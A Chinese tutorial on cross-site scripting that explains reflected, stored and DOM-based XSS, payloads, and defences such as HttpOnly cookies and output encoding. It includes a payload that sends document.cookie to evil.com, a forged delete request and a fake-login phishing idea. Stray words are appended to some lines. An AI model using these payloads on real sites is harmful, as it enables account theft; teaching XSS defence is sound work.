Web安全之跨站腳本攻擊(XSS)

XSS 簡介

跨站腳本攻擊,英文全稱是 Cross Site Script,原本縮寫是CSS,可是爲了和層疊樣式表(Cascading Style Sheet,CSS)有所區別,因此在安全領域叫作「XSS」。javascript

XSS 攻擊,一般指黑客利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,從而經過「HTML注入」篡改了網頁,插入了惡意的腳本,而後在用戶瀏覽網頁時,控制用戶瀏覽器(盜取用戶資料、利用用戶身份進行某種動做或者對訪問者進行病毒侵害)的一種攻擊方式。php

XSS 危害

  1. 盜取各種用戶賬號,如機器登陸賬號、用戶網銀賬號、各種管理員賬號html

  2. 控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力java

  3. 盜竊企業重要的具備商業價值的資料數據庫

  4. 非法轉帳json

  5. 強制發送電子郵件瀏覽器

  6. 網站掛馬安全

  7. 控制受害者機器向其它網站發起攻擊bash

XSS 分類

反射型 XSS

反射型 XSS 也叫作「非持久型XSS」(Non-per-sistent XSS),它是最多見的類型的 XSS。服務器

反射型 XSS 只是簡單地把用戶輸入的數據「反射」給瀏覽器。也就是說,黑客每每須要誘使用戶「點擊」一個惡意連接,才能攻擊成功。

簡單例子

假設一個頁面把用戶輸入的參數直接輸出到頁面上:

// test.php
<?php
    $input = $_GET["param"];
    echo "<div>".$input."</div>";
?>
複製代碼
正常狀況

用戶向 param 提交的數據會展現到頁面中,好比提交:

http://www.a.com/test.php?param=這是一個測試!
複製代碼

這樣在頁面就會顯示 這是一個測試!

非正常狀況

可是若是提交一段HTML代碼:

http://www.a.com/test.php?param=<script>alert(/xss/)</script>
複製代碼

此時頁面源碼以及嵌入 <script>alert(/xss/)</script>,那麼 alert(/xss/) 將會在當前頁面執行,而這顯然不是開發者所但願看到的,對於黑客來講這樣就完成了一次攻擊了。

存儲型 XSS

存儲型 XSS 一般也叫作「持久型XSS」(Persistent XSS),由於從效果上來講,它存在的時間是比較長的。

存儲型 XSS 會把用戶輸入的數據「存儲」在服務器端。這種 XSS 具備很強的穩定性。

簡單例子

假設在文章下面的評論區有這樣的一個評論表單提交代碼:

<input type="text" name="content" value="這裏是用戶填寫的數據">
複製代碼
正常狀況

用戶提交正常的評論內容(如 「這是一篇好文章啊!」),而後該評論內容將存儲到數據庫中。等其餘用戶查看該文章時,從數據庫將評論內容取出並顯示。

非正常狀況

黑客提交 <script>alert(/xss/)</script> 這樣的評論內容,而後該評論內容將存儲到數據庫中。等其餘用戶查看該文章時,從數據庫中取出並顯示,此時瀏覽器將執行這段攻擊代碼。

DOM Based XSS

實際上,這種類型的 XSS 並不是按照「數據是否保存在服務器端」來劃分,DOM Based XSS 從效果上來講也是反射型 XSS。單獨劃分出來,是由於 DOM Based XSS 的造成緣由比較特別,發現它的安全專家專門提出了這種類型的 XSS。出於歷史緣由,也就把它單獨做爲一個分類了。

DOM Based XSS 經過修改頁面的 DOM 節點造成的 XSS。

簡單例子

<script> function test(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>"; } </script>

<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
複製代碼
正常狀況

點擊「write」按鈕後,會在當前頁面插入一個超連接,其地址爲文本框的內容。

非正常狀況

在文本框輸入 ' onclick=alert(/xss/) //,這樣生成的超連接爲 <a href='' onlick=alert(/xss/)//' >testLink</a>,原理就是用一個單引號閉合掉href的第一個單引號,而後插入一個onclick事件,最後再用註釋符「//」註釋掉第二個單引號。這樣點擊新生成的超連接,就會執行攻擊代碼了。

還有另一種攻擊方式,將 <a> 標籤閉合掉,而後插入一個新的 HTML 標籤,以下示例:

在文本框輸入 '><img src=# onerror=alert(/xss2/) /><',這樣生成的超連接變爲 <a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>,圖片加載失敗以後就會執行攻擊代碼了。

XSS Payload

前文談到了 XSS 的幾種分類。接下來,就從攻擊的角度來體驗一下 XSS 的威力。

XSS 攻擊成功後,攻擊者可以對用戶當前瀏覽的頁面植入惡意腳本,經過惡意腳本,控制用戶的瀏覽器。這些用以完成各類具體功能的惡意腳本,被稱爲「XSS Payload」。

XSS Payload 實際上就是 JavaScript 腳本(還能夠是 Flash 或其餘富客戶端的腳本),因此任何 JavaScript 腳本能實現的功能,XSS Payload 都能作到。

經過 XSS Payload 能夠實現以下攻擊:

Cookie 劫持

在當前的 Web 中,Cookie 通常是用戶登陸的憑證,瀏覽器發起的全部請求都會自動帶上 Cookie。若是 Cookie 沒有綁定客戶端信息,當攻擊者竊取了 Cookie 後,就能夠不用密碼登陸進用戶的帳戶。

攻擊代碼:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
複製代碼

這段代碼在頁面中插入了一張看不見的圖片,同時把 document.cookie 對象做爲參數發送到遠程服務器,這樣,就完成了一個簡單的竊取 Cookie 的 XSS Payload。

而後使用竊取到的 Cookie 經過自定義 Cookie 的方式訪問網站,達到登陸目標用戶的帳戶的目的。

構造 GET 與 POST 請求

一個網站經過 HTTP 協議中的 GET 或 POST 請求便可完成全部操做,所以可經過讓瀏覽器對目標網站發起這兩種請求來達到攻擊的目的。

假設某個網站有這樣的一個刪除文章的請求:

http://www.test.com/blog/delete?id=156713012
複製代碼

對於攻擊者來講,只須要知道文章的 id,就可以經過這個請求刪除這篇文章了。

攻擊代碼:

var img = document.createElement("img");
img.src = "http://www.test.com/blog/delete?id=156713012";
document.body.appendChild(img);
複製代碼

攻擊者只須要讓博客的做者執行這段 JavaScript 代碼(XSSPayload),就會把這篇文章刪除。在具體攻擊中,攻擊者將經過 XSS 誘使用戶執行 XSS Payload。

XSS 釣魚

若是經過構造 POST 請求(表單提交)進行攻擊時,在提交表單時要求用戶輸入驗證碼,那麼通常的 XSS Payload 都會失效;此外,在大多數「修改用戶密碼」的功能中,在提交新密碼前,都會要求用戶輸入「Old Password」。而這個「Old Password」,對於攻擊者來講,每每是不知道的。

對於驗證碼,XSS Payload 能夠經過讀取頁面內容,將驗證碼的圖片 URL 發送到遠程服務器上來實施——黑客能夠在遠程XSS後臺接收當前驗證碼,並將驗證碼的值返回給當前的 XSS Payload,從而繞過驗證碼。

修改密碼的問題稍微複雜點。爲了竊取密碼,攻擊者能夠將 XSS 與「釣魚」相結合。實現思路很簡單:利用 JavaScript 在當前頁面上「畫出」一個僞造的登陸框,當用戶在登陸框中輸入用戶名與密碼後,其密碼將被髮送至黑客的服務器上。

識別用戶瀏覽器

  1. 讀取瀏覽器的 UserAgent 對象。

  2. 因爲瀏覽器之間的實現存在差別——不一樣的瀏覽器會各自實現一些獨特的功能,而同一個瀏覽器的不一樣版本之間也可能會有細微差異。因此經過分辨這些瀏覽器之間的差別,就能準確地判斷出瀏覽器版本,而幾乎不會誤報。這種方法比讀取UserAgent要準確得多。

識別用戶安裝的軟件

知道了用戶使用的瀏覽器、操做系統後,進一步能夠識別用戶安裝的軟件。

在IE中,能夠經過判斷 ActiveX 控件的 classid 是否存在,來推測用戶是否安裝了該軟件。這種方法很早就被用於「掛馬攻擊」——黑客經過判斷用戶安裝的軟件,選擇對應的瀏覽器漏洞,最終達到植入木馬的目的。

攻擊代碼:

try {
    var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
} catch (e) {
    // 異常了,不存在該控件
}
複製代碼

這段代碼檢測迅雷的一個控件(「XunLeiBHO.Thun-derIEHelper」)是否存在。若是用戶安裝了迅雷軟件,則默認也會安裝此控件。所以經過判斷此控件,便可推測用戶安裝了迅雷軟件的可能性。

CSS History Hack

咱們再看看另一個有趣的 XSS Payload——經過 CSS,來發現一個用戶曾經訪問過的網站。其原理是利用 style 的 visited 屬性——若是用戶曾經訪問過某個連接,那麼這個連接的顏色會變得不同凡響。

獲取用戶的真實 IP 地址

經過 XSS Payload 還有辦法獲取一些客戶端的本地IP地址。

不少時候,用戶電腦使用了代理服務器,或者在局域網中隱藏在 NAT 後面。網站看到的客戶端IP地址,是內網的出口IP地址,而並不是用戶電腦真實的本地IP地址。如何才能知道用戶的本地IP地址呢?

JavaScript 自己並無提供獲取本地IP地址的能力,有沒有其餘辦法?通常來講,XSS 攻擊須要藉助第三方軟件來完成。好比,客戶端安裝了 Java 環境(JRE),那麼 XSS 就能夠經過調用 Java Applet 的接口獲取客戶端的本地 IP 地址。

XSS 防護

HttpOnly

瀏覽器禁止頁面的 JavaScript 訪問帶有 HttpOnly 屬性的 Cookie。所以 HttpOnly 能夠對抗 XSS 後的 Cookie 劫持攻擊。

輸入檢查

常見的Web漏洞如 XSS、SQL Injection等,都要求攻擊者構造一些特殊字符,這些特殊字符多是正經常使用戶不會用到的,因此輸入檢查就有存在的必要了。

輸入檢查,在不少時候也被用於格式檢查。例如,用戶在網站註冊時填寫的用戶名,會被要求只能爲字母、數字的組合。好比「hello1234」是一個合法的用戶名,而「hello#$^」就是一個非法的用戶名。

又如註冊時填寫的電話、郵件、生日等信息,都有必定的格式規範。好比手機號碼,應該是不長於16位的數字,且中國大陸地區的手機號碼多是13x、15x開頭的,不然即爲非法。

這些格式檢查,有點像一種「白名單」,也可讓一些基於特殊字符的攻擊失效。

輸入檢查的邏輯,必須放在服務器端代碼中實現。若是隻是在客戶端使用JavaScript進行輸入檢查,是很容易被攻擊者繞過的。目前Web開發的廣泛作法,是同時在客戶端JavaScript中和服務器端代碼中實現相同的輸入檢查。客戶端JavaScript的輸入檢查,能夠阻擋大部分誤操做的正經常使用戶,從而節約服務器資源。

輸出檢查

既然「輸入檢查」存在這麼多問題,那麼「輸出檢查」又如何呢?

通常來講,除了富文本的輸出外,在變量輸出到 HTML 頁面時,可使用編碼或轉義的方式來防護 XSS 攻擊。

安全編碼函數

編碼分爲不少種,針對 HTML 代碼的編碼方式是 HtmlEn-code。

HtmlEncode 並不是專用名詞,它只是一種函數實現。它的做用是將字符轉換成 HTMLEntities,對應的標準是 ISO-8859-1。

爲了對抗 XSS,在 HtmlEncode 中要求至少轉換如下字符:

& --> &amp;

< --> &lt;

>--> &gt;

" --> &quot;

' --> &#x27;&emsp;&emsp; &apos; 不推薦

/ --> &#x2F; 包含反斜線是由於它可能會閉合一些 HTML entity

JavaScript 的編碼方式可使用 JavascriptEncode。JavascriptEncode 與 HtmlEncode 的編碼方法不一樣,它須要使用「\」對特殊字符進行轉義。在對抗 XSS 時,還要求輸出的變量必須在引號內部,以免形成安全問題。比較下面兩種寫法:

var x = escapeJavascript($evil);
var y = '"'+escapeJavascript($evil)+'"';
複製代碼

若是 escapeJavascript() 函數只轉義了幾個危險字符,好比 ‘、」、<、>、\、&、# 等,那麼上面的兩行代碼輸出後可能會變成:

var x = 1;alert(2); // 執行了額外的代碼
var y = "1;alert(2)"; // 安全
複製代碼

因此要求使用 JavascriptEncode 的變量輸出必定要在引號內。

但是不少開發者沒有這個習慣怎麼辦?這就只能使用一個更加嚴格的 JavascriptEncode 函數來保證安全——除了數字、字母外的全部字符,都使用十六進制「\xHH」的方式進行編碼。在本例中:

var x = 1;alert(2); 變爲 var x = 1\x3balert\x282\x29; // 保證是安全的
複製代碼

參考

《白帽子講Web安全》


轉載請註明出處,謝謝!

相關文章
相關標籤/搜索